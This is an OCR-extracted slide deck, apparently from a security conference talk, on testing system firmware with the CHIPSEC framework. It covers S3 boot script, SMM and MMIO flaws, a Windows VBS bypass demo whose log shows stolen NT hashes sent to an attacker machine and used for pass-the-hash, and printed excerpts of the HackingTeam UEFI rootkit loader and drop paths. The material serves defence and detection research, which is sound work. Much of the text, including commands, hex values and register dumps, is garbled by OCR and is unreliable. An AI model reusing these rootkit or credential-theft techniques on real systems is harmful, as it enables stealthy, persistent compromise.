Exploring Your System Deeper
[with CHIPSEC] is Not Naughty

Presenting: Oleksandr Bazhaniuk (@ABazhaniuk), Andrew Furtak
Mikhail Gorobets (@mikhailgorobets), Yuriy Bulygin (@c7zero)

w Advanced Threat Research



Agenda

o
2
2
2
2
2

Intro to firmware security

Finding vulnerabilities in firmware
Checking hardware protections
Finding “problems” in firmware
Finding vulnerabilities in hypervisors

Conclusions






Firmware Everywhere
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http://www.tweaktown.com/reviews/7497/tyan-s7076-intel-c612-server-motherboard-review/index3.html

Firmware Everywhere

» GBe NIC, WIFI, Bluetooth, WiGig

» Baseband (3G, LTE) Modems

» Sensor Hubs

» NFC, GPS Controllers

» HDD/SSD

» Keyboard and Embedded Controllers

» Battery Gauge

» Baseboard Management Controllers (BMC)
» Graphics/Video

» USB Thumb Drives, keyboards/mice

» Chargers, adapters

» TPM, security coprocessors

» Routers, network appliances

» Main system firmware (BIOS, UEFI firmware, Coreboot)



Why Attack Firmware?

» Getting extreme persistence
» Getting stealth
» Bypassing OS or VMM based security

» Having unobstructed access to hardware

» OS independent

» Making the system unbootable



Some In-the-wild Firmware Attacks

» Mebromi BIOS rootkit

> EQUATION Group HDD firmware malware

» | Hacking Team [ UEFI rootkit

» Vault 7 Mac EFI implants (DerStarke/DarkMatter, Sonic Screwdriver)



http://www.webroot.com/blog/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
https://wikileaks.org/ciav7p1/

CHIPSEC Framework

» Open Source Platform Security Assessment Framework

https://github.com/chipsec/chipsec

» OS support: Windows, Linux, UEFI Shell. Added alpha version for Mac OS

sudo apt-get install linux-headers nasm gcc libpython-dev
sudo pip install chipsec

sudo chipsec main

» Architecture support: x86, ARM (WIP experimental)


https://github.com/chipsec/chipsec

Finding Vulnerabilities in System Firmware
(BIOS, UEFI, Mac EFI, Coreboot)



Example: S3 Boot Script Vuln in PC UEFI and Mac EFI

[*] running module: chipsec.modules.common.uefi.s3bootscript
[x]I
[x][ Module: S3 Resume Boot-Script Protections
[x]I
[!] Found 1 S3 boot-script(s) in EFI variables

[*] Checking S3 boot-script at 0x00000000DAB88A01S8

['] S3 boot-script is in unprotected memory (not in SMRAM)
[*] Reading S3 boot-script from memory..

[*] Decoding S3 boot-script opcodes..

[*] Checking entry-points of Dispatch opcodes..

[-] FAILED: S3 Boot Script and entry-points of Dispatch opcodes do not appear
to be protected

Technical Details of the S3 Resume Boot Script VVulnerabilities



http://www.intelsecurity.com/advanced-threat-research/content/WP_Intel_ATR_S3_ResBS_Vuln.pdf

Example: exploiting flash protections via S3 boot script vuln on Mac EFI

liveuser@localhost:/home/liveuser/Desktop/chipsec/source/tool

] sd=d chips=c.modules, comman.blos_sf
aded modules L.

['] running L

] rurming meduls: chipsec.modules. common.bio 3_np
chipsec/source/tool /chipsec/modules/common/blos_wp.pyc

Madule path: homs/liveuser [—«Ft o/

=: BIOS Region write Protaction

ntrol 'I d.f 00:31.0 + OxO<C)
== BIOS nrlt— Enable

(s} EIOS Lock Enable

2 == SPI Read Configuration

1= Top Swap Status

O -~

cti

= BIOS Col

<= SMM BIOS Wwrite Protection
ion is disabled!

Dwwonn

05 region write protec

EIOS Reglon: Base = Ox00190000, Limit = OxO07FFFFF
Protected Ranges

= Y000 ’ )BO S
{84) Joooooooolooooooooloooooooolo | o

None of the SPI protected ranges write-protect BIOS region I

BI0S should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region

FAILED: BIOS is NOT protected completely
SUMMARY

[CHIPSEC] ##abpiohibiork
[cHIPSEC] Time elapsed 0.003
[CHIPSEC] Modules total 1
[cHIPSEC] Modules failed to run O:
[CHIPSEC] Modules passed 0:
[cHIPSEC] Modules failed 1:
[-] FAILED: chipsec.modules.common.bios_wp
[CHIPSEC] Modules with warnings O:
[CHIPSEC] Modules skipped O:

C}'{Ip%C] B
[root@localhost tooll# f§

T -



http://www.intelsecurity.com/advanced-threat-research/content/WP_Intel_ATR_S3_ResBS_Vuln.pdf

Example: Mac EFIl leaving SMM unlocked after S3

Issue. Loosing SMRAM protections after S3 sleep

Step 1. chipsec main -m common.smrr

PASSED

Step 2. Go to sleep. Resume from sleep

Step 3. chipsec _main -m common.smrr

FAILED



Testing S3 Vulnerabilities

» Validate your system for S3 boot script vulnerabilities
chipsec main —-m common.uefi.s3bootscript
» Also run before and after resuming from sleep!
chipsec main —-m common.smrr
chipsec main —-m common.spi lock
[or just run all modules] chipsec main
» Manually test S3 boot script protections:

chipsec main —-m tools.uefi.s3script modify



Decoding S3 Boot Script Opcodes...

[000] Entry at offset 0x0000 (length = 0x21) :
Data:

02 00 0Of 01 00 OO0 00 OO0 00 00 cO fe 00 00 00 0O
01 00 00 00 00 00 OO0 00 OO

Decoded:
chipsec util uefi s3bootscript Opcode © S3 BOOTSCRIPT MEM WRITE (0x02)
width : DROON(INEYESS)
Address: OxFEC00000
Count : -

Values : -

[359] Entry at offset 0x2F2C (length = 0x20) :
Data:

01 02 30 04 00 OO0 OO0 0O 21 00 OO OO OO OO 0O 0O
de £ff ££f ££ 00 00 00 0O

Decoded:

Opcode @ S3_BOOTSCRIPT IO READ WRITE (0x01)
Width : [DXO02N(ATBVESS)

Address: 0x00000430
value : (RSN

Mask



Vulnerabilities in SMM of UEFI Firmware

Via ACPI table

Phys Memory

Fake SMM comm buffer

“UEFI” ACPI
EDKII SMI Handlers in

=]
“ Directly in registers
RAX (code) OS Memory

EDKI RBX (pointer)

Exploit tricks SMI handler to write to an address in SMRAM (Attacking and Defending BIOS in 2015)



http://www.intelsecurity.com/advanced-threat-research/content/AttackingAndDefendingBIOS-RECon2015.pdf

Example: Attacking hypervisors via SMM pointers...

Via ACPI table

Phys Memory

RAX (code)

“UEFI” ACPI
EDKII SMI Handlers in
=
“ Directly in registers
OS Memory
EDKI RBX (pointer) I Fake SMM comm buffer

L

Even though SMI handler check pointers for overlap with SMRAM, exploit can trick it to write to VMM
protected page (Attacking Hypervisors via Firmware and Hardware)

VMM protected page



http://www.intelsecurity.com/advanced-threat-research/content/AttackingHypervisorsViaFirmware_bhusa15_dc23.pdf

Finding SMM “Pointer” vulnerabilities

[x][

[x][ Module: Testing SMI handlers for polnter validation vulnerabilities

[x] [

[*] Allocated memory buffer (to pass to SMI handlers) : 0x0O0000000DAAC3000
[*] >>> Testing SMI handlers defined in 'smm config.ini'..

[*] testing SMI# Ox1F (data: 0x00) SW SMI Ox1F
[*] writing 0x500 bytes at 0x00000000DAAC3000
> SMI 1F (data: 00)
RAX: Ox5A5A5A5A5A5A5A5A
RBX: 0x00000000DAAC3000
RCX: 0x0000000000000000
RDX: Ox5A5A5A5A5A5A5A5A
RSI: Ox5A5A5A5A5A5A5A5A
RDI: Ox5A5A5A5A5A5A5A5A
< checking buffers contents changed at 0x00000000DAAC3000 +[29,32,33,34,35]
[!] DETECTED: SMI# 1F data 0 (rax=5A5A5A5A5A5A5A5A rbx=DAAC3000 rcx=0 rdx=...)

[-] <<< Done: found 2 potential occurrences of unchecked input pointers

https://www.youtube.com/watch?v=z20f45nUeaA



https://www.youtube.com/watch?v=z2Qf45nUeaA

testing SMI# Ox1E (data: @xe8) SW SMI @x1E ()
writing @x500 bytes at Ox00000000DAAGOG00
> SMI 1E (data: 00)

RAX: Ox5A5A5A5A5A5A5A5A

RBX: Ox00000000DAALI0GEA

RCX: Ox0000000000000000

RDX: Ox5A5A5A5A5A5A5A5A

R5I: Gx5A5A5A5A5A5A5A5A

RDI: @x5A5A5A5A5A5A5A5A
< checking buffers
contents changed at 0x00000000DAAG9000 +[0, 1, 258]
DETECTED: SMI# 1E data @ (rax=5A5A5A5AS5A5A5A5A rbx=DAAG90OO rcx=0 rdx=5A5A5A5A5A5A5A5A rsi

testing SMI# Ox1F (data: @x08) SW SMI ex1F ()
writing @x500 bytes at Bx00000000DAAG9000
> SMI 1F (data: 0@)
RAX: @x5A5A5A5A5A5A5A5A
REX: @xB0000008DAAGO0B0
RCX: 8xB000000000000000
RDX: @x5A5A5A5A5A5A5A5A
RSI: @x5A5A5A5A5A5A5A5A
RDI: @x5A5A5A5A5A5A5A5A
< checking buffers
contents changed at @x00000000DAAGI90RO +[29, 32, 33, 34, 35]
DETECTED: SMI# 1F data @ (rax=5A5A5A5A5A5A5A5A rbx=DAAGO9@OO rcx=0 rdx=5A5A5A5A5A5A5A5A rsi
<<< Done: found 2 potential occurrences of unchecked input pointers




MMIO BAR Issues in Coreboot and UEFI

Firmware configures chipset and devices
through MMIO

SMI handlers communicate
with devices via MMIO registers

Device PCI CFG

Base Address (BAR)

Phys Memory

MMIO range
(registers)

SMI Handlers in SMRAM

OS Memory




Example: MMIO BAR Issues in Coreboot and UEFI

Exploit with PCI access can modify BAR
register and relocate MMIO range

On SMI interrupt, SMI handler firmware
attempts to communicate with device(s)

It may read or write “registers” within
relocated MMIO

Phys Memory

MMIO range
(registers)

SMI Handlers in SMRAM

Device PCI CFG

Base Address (BAR)

OS Memory




SPI Controller MMIO BAR (Access to SPI Flash)

chipsec util uefi var-write B 55555555-4444-3333-2211-000000000000 B.bin
chipsec util mmio dump SPIBAR

[CHIPSEC] Dumping SPIBAR MMIO space..

[mmio] MMIO IxBBE0000E
e B0: O/FFO206

srdulbeds SPI Status and Control

4242423F SPI Flash Address (address ]

jﬂfjﬂf variable is written to in flash)

A2A24242
A2A424242
A2A24242
A2A24242
A2424242
A2A424242
A24243747 SPI Flash Data ]
e 3: 42424242 (Variable contents)
PO0RRR3C: 42424242




[x][ Module: Monitors MMIO changes done by SMI handlers
D
[*] Configuration:
MMIO BAR names: [‘'USBBAR']
Generate SMI: True
SMI codes: [©x00:0x00]
[*] SMM comm buffer (EBX) : 0x00000000D9469000
[*] MMIO BAR 'USBBAR': base = 0x00000000F063(000, size = 0x00001000
[*] reading contents of MMIO BARs [ 'USBBAR']
reading "USBBAR'’
[*] calculating normal MMIO BAR differences..
[*] 'USBBAR' normal difference (5 diffs):
diffo: 0 regs []

-

Monitoring changes in diff19: 2 regs [70, 74]
USB MMIO BAR 2 regs changed: [70, 74]
[*] fuzzing SMIs..
[*] SMI# @00: data 00, func (ECX) ©x00000000
reading "USBBAR'’
generating SMI
reading "USBBAR'
diffing 'USBBAR®' (1024 regs)
2 regs changed: [70, 77]
new regs: [77]
[!] New changes found!
repeating SMI
reading "USBBAR'
diffing 'USBBAR' (1024 regs)
2 regs changed: [70, 74]
new regs: []




Testing for MMIO BAR Issues

chipsec main -i -m tools.smm.rogue mmio bar

[+] loaded chipsec.modules.tools.smm.rogue mmio bar
[*] running loaded modules

discovering PCle devices..

testing MMIO of PCle devices:

00:00.0

00:07.0

00:07.1

00:07.3

00:08.0

allocated memory range : 0x0000000002060000 (0x20000 bytes)
MMIO relocation address: (Ox0000000002060000

enumerating device 00:00.0 MMIO BARs..

0
enumerating device 00:07.1 MMIO BARs..
3
0

enumerating device 00:07.3 MMIO BARs. . Trigger SMIs and check new memory
enumerating device 00:058.0 MMIO BARs.. location




Windows 10 Virtualization Based Security (VBS)

Normal World Applications
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Example: Bypassing Windows 10 Virtual Secure Mode

running module: chipsec.modules.poc.vsm
Module path: C:\chipsec\chipsec\modules\poc\vsm.pyc

Module: Windows 10 Virtualization Based Security Bypass

Searching for (U)EFI system firmware S3 boot script in physical memory..

Found firmware S3 boot script at 0x00000000B7C65000
The S3 boot script has been modified. Go to sleep . n
: 2 »n information.)
Hypervisor and secure VM memory will be exposed after resume Trying pass—-the-hash with eZe6?f5ef5c0a9627540778¢d0ae047?
Impacket v0.9. 14-dev Copyright 2002-2015 Core Security Technologies

C:\chipsec>chipsec_main.py -m poc.vm_find -a demo - R & o - -

RN R AN S BN NS SRR SR R i ,l| il".f)::‘l"f:ct""i‘m]\l.n‘ur. STATUS_LOGON_FAILURE(The attempted logon is invalid. s either due 3 authenticatio
it ) L2l Trying pass-the-hash with e16bfef ?bbeSOSI103a0b60F 930081 al

#it CHIPSEC: Platform Hardware Security Assessment Framework ## Impacket v0.9, 14-dev Copyright 200Z-2015 Core Seccurity Technologies

#4 i
S S I R 8 S N B S S S N S S S RS S S )[‘ :“i;‘ggnb‘";imi‘m)lllrrur: STATUS_LOGON_FAILURE(The attempted logon is invalid. is either due usernane or authenticatio
- . o .
[CHIPSEC] Version 1.2.1 Trying pass-the-hash with eS6843c3bBB5533b4f2%abdb2ab23226
CHIF C] Arguments: -m poc.vm_find -a demo mpacket vD.9. cu Copyr ight 2002-2015 Core Security Technologies
CHIPSEC A t f i d 1 ki 0.9.14-4d C ight 2002-2015 C S i Tech logi

L PR R e [~} SHB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. s cither duc usernane authenticatio
WARNING n information.)
WARNING: Chipsec should only be used on test systems! Trying pass-the-hash with ecfadb63aabbfchSf1756474a8¢19446¢
WARNING: It should not be installed/deployed on production end-user systems. Inpacket v0.9,14-dev ~ Copyright 2002-2015 Core Security Technologies
WARNING: See WARNING.txt X
BLARNTING z %% %0 0 500330 30000 A 00000 03030 000 0000 [~1 SHB SessionError: STATUS_LOGON _FAILURE(The attempted logon is invalid. due usernane authenticatio
Rt » information.)

Trying pass-the~hash with f30cd95¢3532307cc?b3i3%clYad?d33
[CHIPSEC] OS : Windows 8 6.2.9200 AMDG4 Impacket v0 .9, 14-dev Copyright 2002-2015 Core Sccurity Technologics

[CHIPSEC] Platform: Desktop 4th Generation Core Processor (Haswell CPU / Lynx Point PCH)
y . o - [~] SHB S« ionError: STATUS_LOGON _FAILURE(The attempted logon is invalid. s cither usernamne authenticatio
[CHIPSEC] VID: 8086 4y Information.)
HTY3 2 .
[CHIPSEC] DID: acee Trying pass-the-hash with £53a6b8%dAdf 4c86099c1F 7a6f 9c0010
Impacket v0.9. 14-dev - Copyright 2002-2015 Core Sccurity Technologies
[+] loaded chipsec.modules.poc
[(~] SHB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. is either due usernane authenticatio
» infornation,)
Trying pass-the-hash with 56483995991 1be010128b1d4d9623¢29
running module: chipsec.modules.poc.vm_find Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
Module path: C hipsec\chipsec\modules\poc\vm_find.pyc
(1): Type help for list of commands
e R 2 shares
ADNING

running loaded modules

Module arguments

NETLOGON

. RS share
Searching VM VMCS ... SYSUOL
Found Virtual Machine with Extended Page Tables Address: 000000000524B01¢ # use share
Reading Extended Page Tables at 0x000000000524B01E ... "‘lx‘u : 5 Rl e e ik
size: 544 KB, address space: 3019 M8 :1;: ;u ;: o ,,Li n’;' te - 1E 20 05 ‘oalt
Creating Reverse Translation ... -PU-TU-TW 24 Fri Oct 16 15:29:05 2015 conf idential .txt
Found Virtual Machine with Extended Page Tables Address: 000000004E40301t u
Reading Extended Page Tables at 0x00000€004E40301E ...
size: 6@ KB, address space: 203 MB
Creating Reverse Translation ...
Searching NT Hash in memory
Found 63 candidates, sending them to attacker machine
Found 1 candidates, sending them to attacker machine

- 310 PM
nd Windows K 3 49
and Windows - 3 AR W0/20/2015







Example: Unprotected UEFI Firmware in Flash

[CHIPSEC] 05 Linux 3.16.8-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64
[CHIPSEC] PlatFoPm. Desktop 6th Generation Core Processor Quad Core (Skylake CPU / Sunrise Point PCH)
[CHIPSEC] VID: 8086

[CHIPSEC] DID: 191F

[+] loaded chipsec.modules.common.bios wp
[*] running loaded modules ..

[*] running module: chipsec.modules.common.bios wp
[*] Module path: /homefuser/Desktop/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc
[x]L
[x][ Module:
[x]1L
[¥*] BC = 0xPOBOBABE << BIOS

[68] BIOSWE

[01] BLE

[02] SRC

[04] TSS

[05] SMM_BWP

[66] BBS

[67] BILD 1 <<

BIOS region write protection

BIOS Region Write Protection

Control (b:d.f 88:31.5 + @xDC)
<< BIOS Write Enable
<< BIOS Lock Enable

<<
<<

Top Swap Status
SMM BIOS Write Protection

BIOS Interface Lock Down
is disabled!
OxPB7FFFFF

BIOS Region: Base = Limit =

Protected Ranges

0xP8200008,

None of the SPI protected ranges

0oeeeeee
0oe0eeee
00e0000e
00000000
000000080

0eeeReRe
00000008
08000008
08000008
00006068

alalalelalelel)
00000000
00000e0e
00000000
00000068

write-protect BIOS region



Example: SMM Protections — Memory Sinkhole Vulnerability

chipsec main -m tools.cpu.sinkhole

[+] loaded chipsec.modules.tools.cpu.sinkhole
[*] running loaded modules

SMRR range protection is supported

TA32 APIC BASE = OxXFEEQODOO® << Local APIC Base (MSR 0x1B)
(B8] BSP
[
[
[1

1 << Bootstrap Processor
1 =< Enable x2APIC mode
ll] En 1 << APIC Global Enable
APICBase FEEGD == APIC Base
IA’“ SMRR_PHYSBASE = 0x8B400006 << SMRR Base Address MSR (MSR 0x1F2)

[80] Tvpe = 6 << SMRR memory type .
[12] PhysBase = 8B400 << SMRR physical base address Attempting to overlap Local APIC page

Local APIC Base: 0x00000000FEEQOQQO . .

SMRR Base : Ox00OPOOADSB40AAOO with SMRR region

Attempting to overlap Local APIC page with SMRR region

writing 0x8B400 to IA32 APIC BASE[APICBase].

NOTE: The system may hdﬂj Or process may Lraﬁh when running this test. nat case, the mitigation to this
Hj but we may not be handling the exception generated.

10] x2APICEn

The Memory Sinkhole by Christopher Domas



https://www.blackhat.com/docs/us-15/materials/us-15-Domas-The-Memory-Sinkhole-Unleashing-An-x86-Design-Flaw-Allowing-Universal-Privilege-Escalation.pdf

Checking Memory Protections

sudo chipsec main -m memconfig

[+] loaded chipsec.modules.memconfig
[*] running loaded modules
*] running module: chipsec.modules.memconfig
[
[ Module: Host Bridge Memory Map Locks
[
.0 _BDSM
.0 _BGSM
.0 _DPR
.0 _GGC
.0 _MESEG_MASK
.0_PAVPC
.0 REMAPBASE
.0 _REMAPLIMIT
.0_TOLUD
.0 _TOM r
.0_TOUUD Ox000000086FO00001 LOCKED Top O ayge!'sable DRAM
.0 _TSEGMB Ox000000008B400001 LOCKED TSEG Memory o3

Ox000000008COOMO0O1 LOCKED Base of Graphics Stolen Memory
Ox000000RMEEB00001 LOCKED Base of GTT Stolen Memory
Ox0000000086400001 LOCKED DMA Protected Range

0x0000000REERE02C1 LOCKED Graphics Control

Ox00O0O07FFFOOOCO0 LOCKED Manageability Engine Limit Address Register
Ox0POOOOOOBFFOOO47 LOCKED PAVP Configuration

Ox0000000/FFOORE0O1 LOCKED Memory Remap Base Address
Ox000000086EFOOO01 LOCKED Memory Remap Limit Address
0x000000OM9BRA001 LOCKED Top of Low Usable DRAM

0x0000000300000001 LOCKED Ton_of Memory

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

+
+
+
+
+
+
+
+
+
+
+
+
+

]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]

: ALl memory map registers seem to be locked down

Checking LOCK bits in PCIe config
registers




Integrated Graphics Aperture

4GB
Access to p—_——
GFx Aperture
N 4
TOLUD

GFx Memory

Access to GFx Aperture
(MMIO) is redirected to
DRAM per GTT PTEs

—




Software DMA Access via IGD with CHIPSEC

chipsec util igd

chipsec util igd
chipsec util igd dmaread <address> [width] [file name]
chipsec util igd dmawrite <address> <width> <value|file name>

> Cannot access certain memory ranges such as SMRAM

» A way for Graphics kernel driver to access Graphics Stolen data memory
» Separate graphics IOMMU/VT-d engine (controlled by GFXVTBAR)

References:

Intel Graphics for Linux — Hardware Specification — PRMs



https://01.org/linuxgraphics/documentation/hardware-specification-prms

Finding “Problems” With the Firmware



Vault/7 EFI DerStarke/DarkMatter Implant

» DerStarke includes DarkMatter Mac EFI firmware persistence implant with multiple
DXE and PEI executables

» Doesn't just rely on unlocked flash like HackingTeam's UEFI rootkit
» Re-infects EFI firmware updates with implants already in the firmware

» Contains DarkDream exploit which appears to bypass firmware protections on
resume from S3 sleep to permanently unlock SPI flash

» Using S3 resume in the exploit suggests exploitation of one of S3 boot script vulns

 Technical Detalls of the S3 Resume Boot Script Vulnerabilities

« Attacks On UEFI Security by Rafal Wojtczuk and Corey Kallenberg

« Reversing Prince Harming'’s kiss of death by Pedro Vilaca

« Exploiting UEFI boot script vulnerability by Dmytro Oleksiuk



http://www.intelsecurity.com/advanced-threat-research/content/WP_Intel_ATR_S3_ResBS_Vuln.pdf
https://bromiumlabs.files.wordpress.com/2015/01/attacksonuefi_slides.pdf
https://reverse.put.as/2015/07/01/reversing-prince-harmings-kiss-of-death/
http://blog.cr4.sh/2015/02/exploiting-uefi-boot-script-table.html

]HackingTeam|[ UEFI Rootkit

@ WinMerge - [bios.bin.dirt - bios.bin.diry]
Bfile Edit View Merge Tools Plugins Window Help

DEEH D& BT BEER <4 lsst| B B @

bies bin.dir - bios bin dir'

<

Filename

= g@rv
B (g00_TAS354D9-0468-444A-81CE-0BF617D890DF.dir

El ) 4A538818-SAE0-4EB2-B2EB-488B23657022.FV_DXE_CORE-05.dir
El ) 00_5_COMPRESSION. dir
= G200_5_RAW.dir
= )00 7A9354D8-0468-4444-81CE-0BF617D330DF. dir
B D)EAEAIAEC-CIC1-46E2-9D52-432AD2549B0B.FV_APPLICATION-09.dir
2] 00_S_PE32.pe32.efi
E T)F5024849-2FAD-4DES-86AE-BEDASADOTAL1C.FY_DRIVER-07.dir
] 01_S_USER_INTERFACE
2] 02_S_VERSION
] Ntfs.fi
B T)F5025849-2F4D-4DA3-261E-BEDASDOTALC.FY_DRIVER-07.dir
] 01_S_USER_INTERFACE
] 02_5_VERSION
<] rkloader.efi
] EAEAQAEC-COC1-45E2-9052-432AD25A9B0B.FV_APPLICATION-09
-] F50248A9-2F4D-ADE9-B86AE-BDASADOTAL1C.FV_DRIVER-07
.| F50258A9-2F4D-4DA3-361 E-BDASADOTALAC FV_DRIVER-07
" 00_7A9354D9-0452-4444-81CE-0BF617D890DF

Folder

Fv
PV 00_TA9354D9-0468-444A4-81CE-OBFE17DES0DF dir

FWV\00_TA9354D9-0468-444A-31CE-OBFG17DES0DF dindA538818-5AED..,
FV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dif4A538818-5AED. ..
FV\00 TA9354D9-0468-444A-81CE-OBFG17D8300F dir 4A538818-5AED. ..
FWV\00_TA9354D9-0468-444A-31CE-OBFG17DA90DF din4A538818-5AED..,
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF din4A538818-5AED...
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dirf4A538818-5AED. ..
FWV\00_TA9354D9-0468-444A-31CE-OBFG17DAS0DF din4A538818-5AED..,
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D8900F din4A538818-5AE0..,
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dirf4A538818-5AED. ..
FWV\00_TA9354D9-0468-444A-831CE-OBFG17DES0DF dirn4A538818-5AED. .
FWV\00_TA9354D9-0468-444A-31CE-OBFG17D890DF dindA538818-5AED...
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dirf4A538818-5AED. .
FV\00_TA9354D9-0468-4444-831CE-OBFG17D8300F dirf4A538818-5AED. .
FWV\00_TA9354D9-0468-444A-31CE-OBFG17DES0DF dindA538818-5AED..,
FV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dif4A538818-5AED. ..
FWV\00_TA9354D9-0468-444A-81CE-OBFG17D890DF dirf4A538818-5AED. ..
FV\00_TA9354D9-0468-444A-831CE-OBFG17DA30DF . dir'4A538818-5AED.

Comparison result

Folders are different
Folders are different
Folders are different
Folders are different

Folders are different

Folders are different

Right only: ‘WA Chhthinfected\bios.bin.dif PN 00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: W Ch\hthinfected\bios.bin.dif FV00_TAS35409-0468-4444-81CE-0BFG17D..,
Right only: \WACH htiinfected\bios.bin.dif\FV00_7AS35409-0468-4444-81CE-0BFE17D...
Right only: ‘WA Chhthinfected\bios.bin.dif PN 00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: "W Chhtiinfected\bios.bin.dit PV 00_TAS35409-0468-4444-81CE-0BFG17D..,
Right only: WA Chhtiinfected\bios.bin.difFVN00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: "W Chhthinfected\bios.bin.dif PN 00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: ‘WA Chhthinfected\bios.bin.dif PV 00_7A%354D9-0468-4444-81CE-0BFS17D..,
Right only: \\WAChhthinfected\bios.bin.dirf\FV00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: ‘WA Chhtuinfected\bios.bin.dif PN 00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: ‘WA Chhthinfected\bios.bin.dif PV 00_7AS354D9-0468-4444-81CE-0BFE17D..,
Right only: WA Chhthinfected\bios.bin.dif\FV00_7A3354D9-0468-4444-81CE-0BF817D..,
Right only: WA Chthinfected\bios.bin.dif\FV400_7AS35409-0468-4444-81CE-0BFE17D...
Binary files are different

" 00_S_COMPRESSION
1 00_S_RAW
" 00_5_COMPRESSION gz
" 00_S_COMPRESSION
"t 4A538818-SAE0-4EB2- B2EB-488B23657022.FV_DXE_CORE-05
o 00_TA9354D9-0453-4444-81CE-0BF617D890DF

FV00_7A935409-0468-4444-81CE-0BFE17D3300F dir\ 4A4538818-5AED. .
FVy00_7A9354D9-0468-444A4-81CE-0BFE17DE30DF . dir\ 4A538818-5AED...
FWV\00_TA9354D9-0468-444A-31CE-OBFG17DAS0DF din4A538818-5AED..,
FV00_7A49354D09-0468-444A4-81CE-0BF617D8300F dir'4A538818-5AED..,

FV00_7A9354D9-0468-444A4-81CE-0BFE17DE30DF dir
Fv

Binary files are different
Binary files are different
Binary files are different
Binary files are different
Binary files are different

Binary files are different

Ready

1 itemn selected

* %

Items: 26 NUM




]HackingTeam| UEFI Rootkit

« rkloader is a DXE driver that is automatically executed during boot

« The module simply registers a callback on READY TO BOOT event to
execute the malicious payload

EFI_STATUS

EFIAPI

_ModuleEntryPoint (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM TABLE *SystemTable
)

1
EFI_EVENT Event;

DEBUG((EFI_D_INFO, "Running RK loader.\n"));
Initializelib(ImageHandle, SystemTable);

gReceived = FALSE;

gBootServices->CreateEventEx(0x200, 0x16, &CallbackSMI, NULL, &SMBIOS_TABLE_GUID, &Event);

EFI_SUCCESS;

Analysis of the HackingTeam's UEFI Rootkit

M [AppPka]

M [AmPkg]

® [ArmPlatformPkg]

m [BaseTools]

B [BeagleBoardPkg]

m [Conf]

@R [CryptoPkg]

8 [Duet Pkg]

8 [EdkCompatibilityPkg]
8 [Edk ShellBinPkg]

8 [Edk ShellPkg]

8 [EmbeddedPkg]

8 [EmulatorPkg]

m [FatBinPkg]

M8 [inte! FrameworkModule Pkg]
B [intel FrameworkPkg]
B [MdeModulePkg]

W [MdePkg])

BB [NetworkPkg]

B [Nt 32Pkg]

M [NifsPkg]

BB [Omap 35acPkg]

8 [OptionRomPkg]

8 [Ovmf Pkg]

B [PcAtChipset Pkg]

B [PerformancePkg]

W [ridoader]

B [SecurityPkg]

® [ShellBinPkg]

B [SheliPkg)

8 [Sourcel evel DebugPkg]
Mm [StdLib]

B [StdLibPrivateintemal Files]

B [vector-uefi]



http://www.intelsecurity.com/advanced-threat-research/ht_uefi_rootkit.html_7142015.html

|HackingTeam| UEFI Rootkit

* The callback then loads a UEFI application, which checks for infection by looking for UEFI
variable “fTA”

BOOLEAN
EFIAPI
CheckfTA()

{

EFI_STATUS Status = EFI_SUCCESS;

UINTN VarDataSize;
UINT8 VarData;

VarData=0;
VarDataSize= (VarData);
Status=gRT->GetVariable(L"fTA", &gEfiGlobalFileVariableGuid, NULL, &V arDataSize, (UINTN*)&VarData);

= Use NTFS module to drop a backdoor (scoute.exe) and RCS agent (soldier.exe) onto the
filesystem

FILE _NAME_SCOUT L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
FILE_NAME_SOLDIER L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
FILE NAME_ELITE L"\\AppData\\Local\\"

DIR_NAME _ELITE L"\\AppData\\Locall\\Microsoft\\"

Analysis of the HackingTeam's UEFI Rootkit



http://www.intelsecurity.com/advanced-threat-research/ht_uefi_rootkit.html_7142015.html

|HackingTeam| UEFI Rootkit

Infection
* Installed via physical access and a SPI programmer

= Or by booting a USB image to erase and reprogram firmware. Requires
unlocked (vulnerable) firmware on a target system

= Automatic reinfection after removal of remote access components

Detection
»= Can be detected by finding £TA UEFI variable with GUID
8BE4DF61-93CA-11d2-aa0d-00e098302288

chipsec util uefi var-find fTA

» Examine firmware image for additional DXE modules (see later)



PoC SmmBackdoor by Dmytro Oleksiuk

SnnBackdoor . (591) ;2935939 3 9636 9636 96 3636 36-36 36-36.36-96 36-36 3636 3636 3636 3636 3636 3636 3636 36 3636 363696 3636 36

SmmBackdoor .c (592)

e |nstalled by adding additional SmmBackdoor.c(593) :  UEFI SMM access tool
. L . SmmBackdoor .c (594) :
sections to existing SMM driver SmmBackdoor .c(595) : by Dleksiuk Dmytro (aka Crish)
SmmBackdoor.c(596) : crdshOBgmail .com
. . SmnmBackdoor .c (597
* Provides SMI Interfaces for OS |evel [ R ————————————
SmmBackdoor .c (599)
(3&1||EBr SmmBackdoor .c (617) : Started as infector payload
SmnBackdoor .c (620) : Image base address is 0xd7024200
e Direct SW SMI SmmBackdoor .c (630} : Resident code base address is 0xd613f000

SmmBackdoor .c (380) : BackdoorEwntryResident ) : Started

e Periodic SMI with “magic” numbers in SmmBackdoor .c (406) : Protocol notify handler is at Oxdb13fbb8

